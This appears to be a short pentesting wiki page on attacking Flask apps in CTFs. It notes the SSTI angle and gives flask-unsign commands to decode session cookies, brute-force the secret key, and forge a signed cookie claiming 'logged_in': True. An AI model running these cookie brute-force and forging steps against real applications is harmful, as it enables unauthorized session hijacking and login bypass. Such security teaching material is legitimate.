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# Flask
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI** ](../../pentesting-web/ssti-server-side-template-injection/ )**.**
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## Cookies
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Default cookie session name is ** `session` **.
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### Decoder
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi ](https://www.kirsle.net/wizards/flask-session.cgi )
#### Manual
Get the first part of the cookie until the first point and Base64 decode it>
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```bash
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echo "ImhlbGxvIg" | base64 -d
```
The cookie is also signed using a password
### **Flask-Unsign**
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
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```bash
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pip3 install flask-unsign
```
#### **Decode Cookie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
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```bash
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flask-unsign --unsign --cookie < cookie.txt
```
#### **Signing**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signing using legacy \(old versions\)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
####
